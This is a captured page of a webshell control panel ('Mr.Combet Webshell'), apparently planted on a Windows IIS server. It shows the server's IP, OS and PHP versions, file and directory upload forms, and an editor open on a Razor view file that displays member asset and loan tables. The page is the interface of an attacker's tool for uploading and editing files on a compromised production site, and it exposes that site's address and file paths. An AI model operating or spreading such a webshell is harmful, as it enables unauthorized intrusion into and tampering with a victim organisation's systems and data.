Mr.Combet Webshell
Your IP :
216.73.216.136
Server IP :
103.233.58.157
Server :
Windows NT WIN-4PGF72KEHKB 10.0 build 17763 (Windows Server 2016) AMD64
Server Software :
Microsoft-IIS/10.0
PHP Version :
7.3.25
Add File :
Submit
Add Directory :
Submit
Dir :
C:
/
inetpub
/
wwwroot
/
map
/
Views
/
Map
/
MemberBaseline
/
Edit File Name :
_AssetsTab.cshtml
@model RER_Project.DataAccess.ViewModels.Baseline.BaselineViewModel <div class="table-responsive" style="margin-top: 16px;"> <table class="table table-bordered table-hover" name="tblAssets" id="tblAssets"> <thead> <tr> <th>Asset Type</th> <th>Asset Unit</th> <th>Quantity</th> <th style="text-align:center">Price (Rs)</th> <th>OwnerShip Self</th> <th style="text-align:center">Loan (Rs)</th> </tr> </thead> <tbody id="tblAssetsBody"> </tbody> <tfoot style="line-height:30px;background-color:#edf0ee;color:black" id="tblBaselineAssetFooter"> </tfoot> </table> </div> <script type="text/javascript"> function loadAssetsList() { const ajax = request(); function request() { const url = '/baseline/assets/member/' + @Model.MemberDetailView.Id; return window.getAjaxRequest(url, "Get", @Model.MemberDetailView.Id); } ajax.done(function (response) { debugger; addAssetsToTable(response); }); ajax.fail(function (xhr) { ShowMessage("error", xhr.responseText); }); } function addAssetsToTable(response) { $('#tblAssets tbody > tr').remove(); $('#tblAssets tfoot > tr').remove(); var table = $("#tblAssets tbody"); var totalPriceAmount = 0; var totalLoanAmount = 0; response.forEach(function (x) { var row = "<tr>"; row += "<td>" + x.asset + "</td>"; row += "<td>" + x.unit + "</td>"; row += "<td>" + x.quantity + "</td>"; row += "<td><center><strong>Rs. " + getNumberWithComma(x.price) + "<strong><center></td>"; row += "<td>" + x.ownership + "</td>"; row += "<td><center><strong> Rs. " + getNumberWithComma(x.loan) + "</strong></center></td>"; totalPriceAmount += parseFloat(x.price||0); totalLoanAmount += parseFloat(x.loan||0); table.append(row); }) var tblFooter = $("#tblAssets tfoot"); var footerRow = `<tr> <td ><strong>Total : </strong></td> <td colspan="2"></td> <td><strong><center> Rs. ${getNumberWithComma(totalPriceAmount) }</center ></strong ></td > <td></td> <td><strong><center> Rs. ${getNumberWithComma(totalLoanAmount) }</center></strong></td> </tr>` tblFooter.append(footerRow); } </script>
Save